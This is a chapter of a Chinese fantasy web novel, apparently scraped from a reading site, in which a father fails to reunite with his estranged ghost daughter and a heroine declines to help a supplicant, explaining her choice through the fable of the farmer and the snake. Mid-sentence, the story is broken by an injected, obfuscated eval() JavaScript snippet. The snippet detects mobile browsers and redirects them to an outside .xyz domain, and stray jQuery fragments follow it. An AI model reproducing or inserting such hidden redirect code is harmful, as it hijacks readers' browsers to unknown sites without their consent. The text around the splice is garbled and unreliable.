赵成眼眶红了:“是我的错,作为一个父亲,却让女儿受了那种迫害。我枉为人父,我就是一个烂人,负了凡妻,又没能护得了女儿。虐杀那些人渣算得了什么,能换回我的女儿吗?”
云秋冷笑:“你现在说什么都已经迟了,红衣能够成为鬼子母神,可不仅仅只是难产而死这么简单,还有那无尽的怨恨。这世间难产而死的女子不计其数,但怨恨能大到成为鬼神的,却了了无几。在这份怨恨之中,你占了几分,你可曾想过。”
赵成眼中闪过一抹挣扎,云秋叹道:“我把你带过来,只是想验证一下自己的猜测。现在已经真相大白了,我也该把你送回给林小雅了。”
“尊上,求您再给我一次机会吧!我不想死了,我想活……”赵成抱着云秋的大腿,声泪俱下,“我想陪着我的女儿,我想去补偿她,我保证不再犯事了,求您,让我去见我的女儿吧!”
“在道眼里,功是功,过是过,有功则赏,有过则罚,赏罚相合,便是跌宕起伏的命运。”云秋叹息一声,又道,“但在众生眼里,功过是可以相抵的。”
云秋拿出短刀·雪,放到赵成面前,道:“拿着这把短刀,去迎接命运的审判吧!但愿你能得偿所愿,我只能劝诫你一句,不要再走歪路,不要再触犯冥冥的底线了。”
赵成拿了短刀,飞快地跑走了。
他很快回到了梦之屋,深吸一口气,鼓足了勇气去敲门:“玲玲,是我,我是你父亲,我回来了,玲玲……”
赵成敲了很久,却毫无动静,他不禁哭了。到了最后,只剩下倔强地敲门,实际上,他本人已经泣不成声了。
梦红尘一道水流上岸,化作了一个女子模样,梦红尘道:“别敲了,她走了。”
赵成抹了一把眼泪,呜咽道:“她,走的这般快吗?”
梦红尘叹息,无奈道:“她本来就快要出门了,是你们的到来,才拖慢了她的行程。所以你们一走,她就赶火车去了。诡异列车可不好赶,自然行色匆匆。”
赵成追问:“诡异列车在哪里?我去寻她。”
“没必要,你寻不到的。”梦红尘顿了顿,又补充道,“别在这里等她,她不会回来了。还有,梦之屋不能空太久,我建议你赶紧离开这里,小心被吞了。”
梦红尘走后,赵成坐在梦之屋门前的台阶上,伤心落泪,精神恍惚。他一遍遍地问自己,如果当初没有抛弃凡妻去修仙,如今自己会如何?
可悲哀的是,他发现自己根本就不会做别的选择,因为他还是把自己的妻子,称作凡妻。
赵成专心想着自己的事情,却丝毫没有注意到,梦之屋的阴影离他越来越近,最终完全笼罩住了他。
梦红尘回到湖底,红衣竟然在这里,梦红尘无奈道:“红衣,你真的不去看看他吗?他毕竟是你父亲。”
红衣微微摇头:“以前过了一百多年,我也没有父亲,不也熬过来了。如今他跑来认亲,我就要高高兴兴的迎接他吗?他凭什么?就凭他是我的父亲?当初,他既然选择了抛弃我和妈妈,就不要想着再有女儿了。”
梦红尘道:“可他毕竟是你的父亲。”
红衣红了眼眶,咬牙道:“当初既然选择了抛弃,如今就不要想着回头来捡。骨头若是硬一点,我倒敬佩他几分。”
“可,他毕竟是你的父亲。”梦红尘艰难道,“你把他独自扔在梦之屋前,可知有多凶险?”
“够了,我不想再听。”红衣怒道,眼泪哗哗地流,“我从你这里走,我不想再上去了,我不想见到他。”
红衣直接走了湖底传送阵,梦红尘送走红衣以后,不禁唏嘘:“真是造孽啊!这里也没了好回忆……算了,我也搬家吧!换一个新地方住,找一块更清净的地。”
另一边,云秋一行人沉默地前行,晓月突然打破沉默,道:“啊姐,你说,他们父女能相认吗?”
云秋无奈地摇摇头,叹息道:“不可能,你还记得红衣的杀人规则吗?”
晓月脸色微沉,云秋又道:“红衣原本的杀人规则是‘所有男人都该死’,后来经过万坟山事件后,杀人规则改成了‘品德败坏的男人都该死’。所以……”
云秋喟叹,轻声道:“抛弃妻女的男人,算不算品德败坏呢?在红衣的眼里,怕是算的。”
“那他们父女今日,岂不是要分生死了。”晓月惊呼。
云秋轻叹:“看雪的心情了,如果雪心情好的话,或许会救他一命。”
云秋几人才刚回到妖院,冷清寒就找上门来了。
冷清寒一见面,就向两人行了跪拜礼:“尊上,晓月道友,请帮帮我……”
云秋忙将人扶起来,柔声道:“穷神,你有话便说,不必行此大礼。我们年纪都不大,受不起。”
“怨婴林里孕育了两位怨婴王,如今却不见了。我……”冷清寒把目光放到晓月身上,“我想请晓月道友帮我算算,看看我该去哪里,才能找到祂们。”
晓月脸上露出为难之色,道:“你可有人事,预知未来的天命,是必需要付出代价的。人事是最低的代价,否则,其它的代价,你可能支付不起。反正,我给你算命,我是不会为你付代价的。”
“我……”冷清寒语塞,因为他作为穷神,真的是一点珍品也没有。犹豫再三,他轻声道,“我的寿命,可以吗?”
晓月摇头:“不行,你本就没有寿命,你现在的命,都是世间的苦难给的。也就是说,你每活一天,就是苦难送了一天寿命给你。苦难想把你留在世间受苦,所以你才能活到现在,等哪天苦难离你而去,你会立刻死。”
冷清寒眼眶红了,低头小声啜泣。
云秋轻笑,打圆场道:“晓月,那你就算点能算的吧!不用人事的那种,对大家都无碍的。”
“也好,我便帮你算算祂们的吉凶吧!”晓月掐指一算,然后道,“祂们现在很安全,无碍。”
冷清寒勉强扯出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056005|157054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个笑容,道:“多谢,告辞。”
看到冷清寒离去的背影,晓月眼中闪过一抹凶光,冷声道:“啊姐,看来你帮林姨的事情,已经传开了。现在什么人都想从你这里,捞到一些好处了。这个穷神,可能只是来探路的。”
云秋摸摸晓月的头顶,笑着道:“晓月,没必要把大家想的这么坏。或许,人家真的是走投无路呢!”
晓月释然:“幸好啊姐没有盲目地帮他。”
云秋无奈地摇摇头:“我长这么大,还是懂的拒绝的。不想插手的事情,自然不会多言。人各有命,盲目插手别人的命运,本身就未必会是一件好事。岂不知,农夫与蛇的故事。”
晓月笑着道:“农夫与蛇,啊姐,这个故事我还真的不知。”
孙如意也道:“云娘娘,俺也不知,给俺讲讲呗!”
云秋点点头,开始讲诉了起来……
从前,有一个贫穷但很善良的农夫。他在山上打柴的时候,发现了一条冻僵的蛇。善心泛滥的他,把蛇揣进怀里,捡回了家。回到家的时候,那蛇已经解冻了,竟然也没有咬他,蛇显得特别乖巧,眼睛里也颇有灵性。
因为当时正是寒冬腊月,气温很低,蛇仍旧需要冬眠,不愿动弹。农夫就细心照料蛇,一日又一日。某一日,农夫突然做了一个,很奇怪的梦。
农夫梦见,在来年开春的时候,蛇冬眠醒来后,竟然变成了一个极美的美女。那美人明眸皓齿,脸若银盘,朱唇微红,貌似天仙。一身绫罗绸缎,艳丽华美,珍贵非凡。
那美人说:“自己是山中得道的蛇仙,感念农夫的恩情,愿与他结为夫妻,再赠他万贯家财,以作酬谢。”
美人财富,谁能不爱,农夫自然是收下了。美女蛇当真与他结为夫妻,与他男耕女织,又赠予他家财万贯,过起了幸福、富贵又安康的生活。没过几年,美女蛇便怀孕了,生下了一双儿女。
又某一日,农夫骤然回到家中,却发现家中竟然有一大两小,三条怪蛇,那蛇有着他妻儿的头颅,却是蛇的身子。
农夫被噩梦吓醒,当即就把蛇扔回了原地。从那以后,农夫再也没有捡过冻僵的蛇。农夫捡走了冻僵的蛇,自然是一份善举,但也因此,他的命运与蛇有了交集。
农夫做的梦,只是这份交集可能展现的其中一个结果。农夫通过梦,知道了这个结果,他无法接受,所以他把蛇放回了原地,且不再捡任何蛇。
云秋总结道:“我愿意帮助林小雅,是因为她值得,我看到了她的大爱,她的坚持,她的善良,所以我才帮她。我乐意与她这样善良的人交织命运,不管未来走向何方,我都愿意,因为这是我的选择。”
云秋突然话风一转:“但冷清寒就不一样了,我并不想与冷清寒交织命运,我也不想走向与冷清寒相关的未来。就像农夫会把蛇放回原地一样,所以当冷清寒向我求助时,我并没有出手援助。这是我的选择,不涉及任何因果,只是因为不愿。”